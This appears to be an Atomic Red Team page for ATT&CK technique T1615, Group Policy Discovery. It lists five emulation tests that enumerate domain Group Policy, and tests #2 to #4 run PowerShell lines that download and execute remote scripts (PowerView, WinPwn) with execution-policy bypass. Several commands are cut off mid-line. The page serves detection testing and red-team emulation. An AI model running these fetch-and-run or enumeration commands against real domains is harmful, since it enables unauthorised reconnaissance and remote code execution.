T1615 - Group Policy Discovery

Description from ATT&CK

> Adversaries may gather information on Group Policy settings to identify paths for privilege escalation, security measures applied within a domain, and to discover patterns in domain objects that can be manipulated or used to blend in the environment. Group Policy allows for centralized management of user and computer settings in Active Directory (AD). Group policy objects (GPOs) are containers for group policy settings made up of files stored within a predicable network path `\\SYSVOL\\Policies\` .(Citation: TechNet Group Policy Basics)(Citation: ADSecurity GPO Persistence 2016)
> Adversaries may use commands such as `gpresult` or various publicly available PowerShell functions, such as `Get-DomainGPO` and `Get-DomainGPOLocalGroup` , to gather information on Group Policy settings.(Citation: Microsoft gpresult)(Citation: Github PowerShell Empire)
> Adversaries may use this information to shape follow-on behaviors, including determining potential attack paths within the target network as well as opportunities to manipulate Group Policy settings (i.e. Domain Policy Modification) for their benefit.

Atomic Tests

- Atomic Test #1 - Display group policy information via gpresult
- Atomic Test #2 - Get-DomainGPO to display group policy information via PowerView
- Atomic Test #3 - WinPwn - GPOAudit
- Atomic Test #4 - WinPwn - GPORemoteAccessPolicy
- Atomic Test #5 - MSFT Get-GPO Cmdlet

Atomic Test #1 - Display group policy information via gpresult

Uses the built-in Windows utility gpresult to display the Resultant Set of Policy (RSoP) information for a remote user and computer The /z parameter displays all available information about Group Policy. More parameters can be found in the linked Microsoft documentation https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/gpresult https://unit42.paloaltonetworks.com/emissary-trojan-changelog-did-operation-lotus-blossom-cause-it-to-evolve/ Turla has used the /z and /v parameters: https://www.welivesecurity.com/wp-content/uploads/2020/05/ESET_Turla_ComRAT.pdf

Supported Platforms: Windows

auto_generated_guid: 0976990f-53b1-4d3f-a185-6df5be429d3b

Attack Commands: Run with `command_prompt`!

```
gpresult /z
```

Atomic Test #2 - Get-DomainGPO to display group policy information via PowerView

Use PowerView to Get-DomainGPO This will only work on Windows 10 Enterprise and A DC Windows 2019.

Supported Platforms: Windows

auto_generated_guid: 4e524c4e-0e02-49aa-8df5-93f3f7959b9f

Attack Commands: Run with `powershell`! Elevation Required (e.g. root or admin)

```
powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('ht
```

Atomic Test #3 - WinPwn - GPOAudit

Check domain Group policies for common misconfigurations using Grouper2 via GPOAudit function of WinPwn

Supported Platforms: Windows

auto_generated_guid: bc25c04b-841e-4965-855f-d1f645d7ab73

Attack Commands: Run with `powershell`!

```
$S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t'
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3
GPOAudit -noninteractive -consoleoutput
```

Atomic Test #4 - WinPwn - GPORemoteAccessPolicy

Enumerate remote access policies through group policy using GPORemoteAccessPolicy function of WinPwn

Supported Platforms: Windows

auto_generated_guid: 7230d01a-0a72-4bd5-9d7f-c6d472bc6a59

Attack Commands: Run with `powershell`!

```
$S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t'
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3
GPORemoteAccessPolicy -consoleoutput -noninteractive
```

Atomic Test #5 - MSFT Get-GPO Cmdlet

The Get-GPO cmdlet gets one Group Policy Object (GPO) or all the GPOs in a domain. Tested on Windows Server 2019 as a domain user with computer joined to domain. Reference: https://docs.microsoft.com/en-us/powershell/module/grouppolicy/get-gpo?view=windowsserver2022-ps

Supported Platforms: Windows

auto_generated_guid: 52778a8f-a10b-41a4-9eae-52ddb74072bf

Inputs:

Name	Description	Type	Default Value
gpo_output	The output of the Get-GPO cmdlet	String	$env:temp\GPO_Output.txt
gpo_param	You can specify a GPO by its display name or by its globally unique identifier (GUID) to get a single GPO, or you can get all the GPOs in the domain through the All parameter	string	-All

Attack Commands: Run with `powershell`! Elevation Required (e.g. root or admin)

```
Get-GPO -Domain $ENV:userdnsdomain #{gpo_param} >> #{gpo_output}
```

Cleanup Commands:

```
del $env:temp\GPO_Output.txt -erroraction silentlycontinue
```

Dependencies: Run with `powershell`!

Description: Add Rsat.ActiveDirectory.DS

Check Prereq Commands:

```
if(Get-WindowsCapability -Online -Name Rsat.ActiveDirectory.DS-LDS.Tools~~~~0.0.1.(
```

Get Prereq Commands:

```
Add-WindowsCapability -online -Name Rsat.ActiveDirectory.DS-LDS.Tools~~~~0.0.1.0
```

Description: Add Rsat.GroupPolicy.Management.Tools ###Two RSAT Modules needed for this to work on Win10, WinServer 2019 works by default. This will take a long time (almost 2 minutes) to install RSAT Manually###.

Check Prereq Commands:

```
if(Get-WindowsCapability -Online -Name Rsat.GroupPolicy.Management.Tools~~~~0.0.1.(
```

Get Prereq Commands:

```
Add-WindowsCapability -online -Name Rsat.GroupPolicy.Management.Tools~~~~0.0.1.0
```